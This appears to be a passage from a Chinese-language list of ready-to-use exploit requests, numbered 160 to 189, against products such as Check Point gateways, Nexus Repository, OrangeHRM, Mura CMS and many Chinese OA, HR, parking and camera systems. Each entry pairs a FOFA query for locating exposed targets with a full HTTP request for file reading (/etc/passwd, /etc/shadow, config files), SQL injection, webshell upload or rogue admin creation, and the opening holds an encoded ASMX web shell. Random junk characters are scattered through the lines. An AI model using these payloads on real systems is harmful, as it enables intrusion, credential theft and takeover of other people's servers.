0 Y6 k5 K. Z- K/ D' Y<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
& `7 m0 H  m* W2 D: R' C! n9 H</jobUpload>
</soap:Body>
  b( D" V+ B: U</soap:Envelope>


/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
3 S! u, ]8 n- T) h! Y6 O
. y6 `8 _& e, D  t" A+ N
. W4 ?; O! u' i% \5 l* @# h160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
FOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
8 b  [" I: \- f3 @: |# h- P) lHost: x.x.x.x
; R( O5 n, E' k7 W7 {User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
  I. u6 t' q+ k$ b+ ^0 i7 G3 \$ MAccept: */*
Accept-Language: en
Accept-Encoding: gzip
' i0 h# `1 t* }
+ U8 w, D6 Z: M" m& U. O& x
% t0 r8 x8 v6 U161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
$ B2 G( l  s9 fPOST /Webservice.asmx HTTP/1.1
, j% [( _/ B- ^' |% U# Q. y+ w3 VHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
6 L0 W+ Q; A& \* R4 i4 ]0 Y9 ~5 sContent-Length: 445
Content-Type: text/xml
8 E& W7 H+ h; W! C, X: lAccept-Encoding: gzip
& s; ]! J* M* t* K
& |! x# K* r4 X$ f! _* O<?xml version="1.0" encoding="utf-8"?>
- }3 ^# H* Q: s0 W<soap:Envelope xmlns:xsi="
. o, ^6 l, v1 H* w# m3 H, ohttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
( N; {3 x+ l6 C) C/ v: P  ?+ K<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
4 c5 I3 ^7 I5 V, j) c. x$ P<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
</UploadResume>
</soap:Body>
) M. _! x2 E- U2 J9 f: q9 `</soap:Envelope>


9 N) t9 a' s/ e* Z7 v' c. vhttp://x.x.x.x/dizxdell.aspx
, x; i: v, H9 I" m5 F; I
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
+ K0 ]7 l7 I( L! ]- A3 @0 G5 t- |& \POST /QH.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 583
% }' Y' }0 d( S% qContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip

------WebKitFormBoundaryeegvclmyurlotuey
; v& B  ~/ Q. m, S1 p4 ^( g# _& vContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
1 [: u/ I1 s) E% u3 P$ k6 fContent-Type: application/octet-stream
# L" ]1 R$ W* q* l
" E4 z$ V* k! R" C1 y<% response.write("ujidwqfuuqjalgkvrpqy") %>
( o. H2 G7 O! {% y------WebKitFormBoundaryeegvclmyurlotuey
8 z$ i) U% D1 C. |9 l, P+ t6 RContent-Disposition: form-data; name="action"
, g: w8 {. a: `3 o- g% V5 d9 c7 v
( U: _7 Z: y; e8 f' o, s& y; gupload
8 O9 b% h( F3 C! C/ b------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"

" I4 k# k5 \7 mResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"

/opt/resources
$ R9 y0 p( d7 D9 f# B, m6 z------WebKitFormBoundaryeegvclmyurlotuey--

; U2 p  b( X% r$ f7 e- B2 f
, e! l# O7 I3 |7 _. P2 J9 r+ [http://x.x.x.x/opt/resources/kjuhitjgk.aspx
' z% Q2 p; ^5 o3 M5 f/ U; O' R
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
2 Q0 V6 e8 J- D$ I4 I; w0 Q2 T( OPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
5 L) }' [7 d, ^6 |; y& U# T( OHost: x.x.x.x
6 s' [4 E% S4 w1 M2 }1 o. GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
1 x8 t( q  j7 ?- O5 iContent-Length: 293
2 b/ T2 V# ~/ J$ |, ?( n* uAccept: */*
; V9 Q  [3 \5 ^  {; NAccept-Encoding: gzip, deflate
, |1 P  Q- L7 c+ qAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

, S! _% x; X* I( H3 J------iiqvnofupvhdyrcoqyuujyetjvqgocod
# X% ^4 ~' v! M* x, E' `Content-Disposition: form-data; name="name"
, X! R3 u2 _, e* [9 n) V; _/ ]
6 t: L- m: J. s, U( Z: x5 D1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
" J; r3 R" C: b& {- h  GContent-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg

rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--


: c' g) F& a% |8 M1 W" M164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
% O3 L8 E1 R1 S7 A8 h7 u6 G5 f( DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
. @* Y: @2 `4 hContent-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
9 J" z  x( I1 u; lAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
4 U. O+ H% {9 X" ?' m+ QConnection: close
, I" g9 k! }1 [8 _2 xContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
8 Y- F9 p+ r' c8 x6 i# ZAccept-Encoding: gzip

; q1 d3 r2 `+ P. R& C------dqdaieopnozbkapjacdbdthlvtlyl
, y9 L+ Y" F1 h* o/ LContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
% D  _2 I9 B' ^$ o
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--

, U' g6 G& _  h* h6 v2 k
; c8 A3 n, i0 d- ^# mhttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
5 Q& k# {1 p  @. q1 U" w3 q" ~
1 S! {" J, ?, y; t165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
. ^% q5 ]( h: f$ {URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))


# {$ P: J/ Z& [: h& ~% X" ?166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
8 S& q7 ?3 N9 E. s3 G. b/ gPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
: F8 I3 k7 Z) ]' J! M& EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
1 E6 g5 ?$ z  c7 wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ Y7 U, b. b) O4 xAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
& `3 l8 T. N! QContent-Type: application/x-www-form-urlencoded
- i; I! S- F# eContent-Length: 89
/ @3 @+ K  |/ j: v- g
Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
( [, C6 n5 Q8 u4 @

8 h  I! @& r" o9 \+ V+ t167. 精益价值管理系统 DownLoad.aspx任意文件读取
- \7 R1 v$ ~- A+ r3 R6 [" ~FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
! }! T9 K( E- `5 KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
% W( [' z9 A! X2 ~$ ZAccept-Encoding: gzip, deflate
5 ?% u6 a- _( f+ oAccept: */*
  R" V9 D. F9 |  K8 RConnection: keep-alive


168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
( M/ m& g7 |$ z6 iGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
9 q5 h4 e- l6 m; yContent-Type: application/x-www-form-urlencoded
Connection: close


8 m$ Z9 N3 j6 w3 J$ N0 M
, y9 D9 F5 k6 K2 C% d% W169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
1 V7 o1 a" h. p3 J+ n% N' i4 o2 |  VGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
7 R4 S, a, H4 n2 T: g8 U$ h2 y/ DAccept: */*
Accept-Encoding: gzip, deflate
Connection: close
, e- L7 u+ [5 B3 |- V
! ]1 b$ d/ X/ y* M! E

170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
: W) i' R4 D& \; h( B2 L' n( Y6 mPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
4 i) Z% }+ n$ m8 ?Host: balalanengliang
! ]9 q/ w& W# k3 h* K+ x" EUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
" q. z2 Y& A# y; f# \
filename=../webapps/ROOT/WEB-INF/web.xml
8 e8 Q6 F( r6 h6 X4 x0 }
5 p: d$ K: B# i# m! i- e
" n) g) x8 j3 j% i+ b171. 通天星CMSV6车载定位监控平台 SQL注入
( X. ~: [/ _6 s& r% H* I3 JFOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
$ H9 }4 U& m' l* `Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
$ S; d" I9 ?' b; T! ZAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 L' h6 o8 V* c* y6 SAccept-Encoding: gzip, deflate
Connection: close


5 z4 T% P* r3 {- X/ ~7 h
7 T1 B2 S; P. A172. DT-高清车牌识别摄像机任意文件读取
7 j+ B0 M1 ~+ N1 hFOFA：app="DT-高清车牌识别摄像机"
+ G" H+ ~0 ~, S7 T) _GET /../../../../etc/passwd HTTP/1.1
; L, f, r7 i' ^: D" c& w0 z/ ~Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
8 l0 z( o8 `8 zAccept-Encoding: gzip, deflate
) T" D9 @1 T- I' n7 o6 D0 A0 d5 \2 }( vAccept: */*
& ]$ c, C. M2 \8 @7 s0 X- j3 y1 iConnection: keep-alive


) N$ T8 x0 c, ~5 U, d9 I. O, o
173. Check Point 安全网关任意文件读取
CVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
7 W0 ]# b/ R% {5 |: P' YHost: your-ip
Content-Type: application/x-www-form-urlencoded

aCSHELL/../../../../../../../etc/shadow
6 n3 \9 `- C, r# w. \; y, p7 K


" z3 q4 ]+ K5 x2 @; k- O& A174. 金和OA C6 FileDownLoad.aspx 任意文件读取
% b1 B! |) O: `8 e, k  UFOFA：app="金和网络-金和OA"
; P& n: K% O# a) l, L( OGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
' W* {1 }- o* @+ }' [+ @Accept-Language: zh-CN,zh;q=0.9
7 s* @. J2 _/ S, W+ q4 TConnection: close

5 [/ t7 R9 J8 i1 @% n
0 ?9 |/ R8 r  V. T( W
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
% q) d1 \+ e; o7 `8 ?  [FOFA：app="金和网络-金和OA"
9 E# x% y. L( ~3 s- i9 V& dGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
2 S" u: G; G9 OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- F$ c4 I, g* p, g- G0 [Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# p. T. L  J7 WAccept-Encoding: gzip, deflate
Connection: close
4 i# d2 A' X$ G( [Upgrade-Insecure-Requests: 1
, ?( s: x1 I5 ^
: p8 a6 W( S* U7 s
176. 电信网关配置管理系统 rewrite.php 文件上传
. j2 g& h/ V- N/ ?" \" A" z! p9 x  |FOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
" G0 u1 c/ ]6 M  vHost: your-ip
4 f5 r" {7 D6 {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
  l- S) N- P( J6 N! [Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close

------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
' E! U: \; D* e3 ~" o2 @Content-Type: image/png

. q+ Q2 \0 q! k7 N% }* ^<?php system("cat /etc/passwd");unlink(__FILE__);?>
, s/ p! u' y+ X" E; B2 e2 K------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"
7 G1 u4 d, a6 e: S/ e, S9 ]

------WebKitFormBoundaryOKldnDPT--
6 E% A4 k, U5 d$ ]& n! }8 I
2 T- x, W  q( k; t5 S" L, H
0 y) C/ d& a3 d+ k2 x- n( i
177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
$ L/ h! @; V& a$ I, a. q/userLogin.asp/../actionpolicy_status/../GR3200.cfg
" X+ N3 c, z* ]& V/userLogin.asp/../actionpolicy_status/../GR2200.cfg
9 u  h5 N4 U* V7 Z# L* F+ {/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
" W! n2 B( A2 V/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
9 \9 k7 O7 V2 R5 X/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
8 w% m0 j! d0 |* k# `4 u& x/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
: l& f" m8 S& ~5 |7 Y2 [/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
& Z5 l9 o4 q4 I/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
$ W9 f; V! B' a' m

178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
) E7 r+ H( N1 ]7 tPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
* G( M6 S0 {0 Q/ X+ M* MHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
/ G' ~/ }, \. c, F8 G% I; q7 lContent-Length: 252
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
" Z3 {8 ]& m7 V8 V: a-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
/ V; r$ ^# T8 I6 ~/ vContent-Type: application/octet-stream
Content-Length: 255
7 c% R, R+ ^3 d6 t' N! ~) r8 @
12234
/ z' g8 i0 i1 Q0 l-----------------aqutkea7vvanpqy3rh2l--

9 u" l. X8 P' Z9 `6 C5 C" J+ d
GET /imc/primepush/%2e%2e/flex/12234.txt

' W4 x( Y! _' {
& I1 Z8 K+ D$ o; ~8 b( ?( _: Y179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
; N" A3 {& C$ l2 z" H* KContent-Type: application/x-www-form-urlencoded
" @+ _5 }4 W# }5 Y8 r1 V- \$ nUser-Agent: Mozilla/5.0
( Z- x) [5 q/ h% A8 m
+ t% R% W6 S, e! h! `; |path=../log4net.config&Name=


1 C$ J5 s# _' J, W- ?& e; E- @180. 帮管客 CRM jiliyu SQL注入
; s6 k( }! X# VFOFA：app="帮管客-CRM"
7 a2 f# |+ C4 q, k  m0 @GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 L4 J8 z& G) x2 aAccept-Encoding: gzip, deflate
! B& K' @- N* ~; ?Accept-Language: zh-CN,zh;q=0.9
3 `/ D: x9 [" @Connection: close
' h) c# S9 ^' N+ u" L( g' R
9 V# u& \! T5 s; d1 l% d5 ^/ \
181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
8 ^& e3 Z, Z2 S  D5 cFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 q4 `$ `( l2 T4 ?9 |Accept-Encoding: gzip, deflate, br
. q. o& |( l+ D) |Accept-Language: zh-CN,zh;q=0.9
% [3 m& `) N! u) Q8 AConnection: close
Content-Type: application/x-www-form-urlencoded
  ]) `0 `. u' L+ o

3 x- `2 V$ C2 {- u1 C6 saction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


3 \' x- n/ J8 e  R4 C182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
. h5 j1 t( L, Q/ _5 I3 ]  ?POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
$ \2 G  l9 C- l% O, T5 H1 jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 B5 A* }7 o  x, N- }Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
) t" f/ ?+ S: hContent-Type: application/x-www-form-urlencoded


username=test1234&pwd=test1234&savedays=1


9 {  g6 l5 ?( m0 h9 w8 ]; D183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
, i/ l  m# _  qFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
# t& P$ @1 y8 @" GGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
8 G/ R# _6 p; n  ?/ j. [7 dHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
! [- Z* m  L( rAccept-Encoding: gzip, deflate
Connection: close

/ Q& ]$ q4 E9 {6 `4 l8 I: d
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
' ?% M  y1 i8 U0 wPOST /soap/AddUser HTTP/1.1
* S9 P6 T4 d7 cHost: your-ip
Accept-Encoding: gzip, deflate
* r# y$ B( \8 B) u9 Z- ~0 E" fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest


insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
* z0 s3 \) d# r
  W9 p" m  A/ ~/ ^6 A
185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
5 G( ^8 F; K- ]6 [" {4 cHost: host

6 Q0 C% E6 n: [6 w* S+ i% q
186. F-logic DataCube3 SQL注入
CVE-2024-31750
7 n6 j+ R6 W# f. E$ W) zF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
$ {/ e1 e2 e- W/ U1 tPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
! G8 H# V( R: D# T/ M6 jHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
* f5 s# Z8 `9 x: a' SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
3 ]5 _3 @2 Y" {* i) A5 f  Y* DContent-Type: application/x-www-form-urlencoded
9 @3 o7 |3 L! F% F& o+ n
req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
7 u) y9 S1 F2 I3 j% F

5 A" @; U9 u  x" ~187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
2 L1 ^9 E. _! p* ^) p3 TFOFA："Mura CMS"
$ ^! F4 h2 d' XPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
1 G; d- |4 m! j+ m* r6 s7 aHost: your-ip
Content-Type: application/x-www-form-urlencoded

1 `- [3 S& M. f* @
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
: {! G! \/ [) ?; U1 w3 {
& @( x, L/ j4 p# U7 g5 G- G
0 h+ x0 {+ b- `3 r( t$ v0 g188. 叁体-佳会视频会议 attachment 任意文件读取
9 r9 R+ E) K8 C" [6 ~version <= 3.9.7
8 r! n$ j4 R* h# TFOFA：body="/system/get_rtc_user_defined_info?site_id"
. A% ~8 ~! @# R6 b! nGET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+ `9 `/ d9 ~1 |+ O3 v% @. r3 E- o0 aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ P2 u* l( T6 ]/ p, N: MAccept-Encoding: gzip, deflate
8 W0 j& J# y& |8 D" PAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
9 Y. b7 m1 ?" a* p' w7 o+ p( c" L5 AConnection: close
9 G; Y* @& B, Z, a5 _  P

( }9 v4 T" a( L. G, W1 Y189. 蓝网科技临床浏览系统 deleteStudy SQL注入
* u3 ]& a' g2 I/ ]# E1 ZFOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
8 `. E& g* w* l- _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
. u7 V) T6 c9 W$ k. k# _5 [1 U" UConnection: close


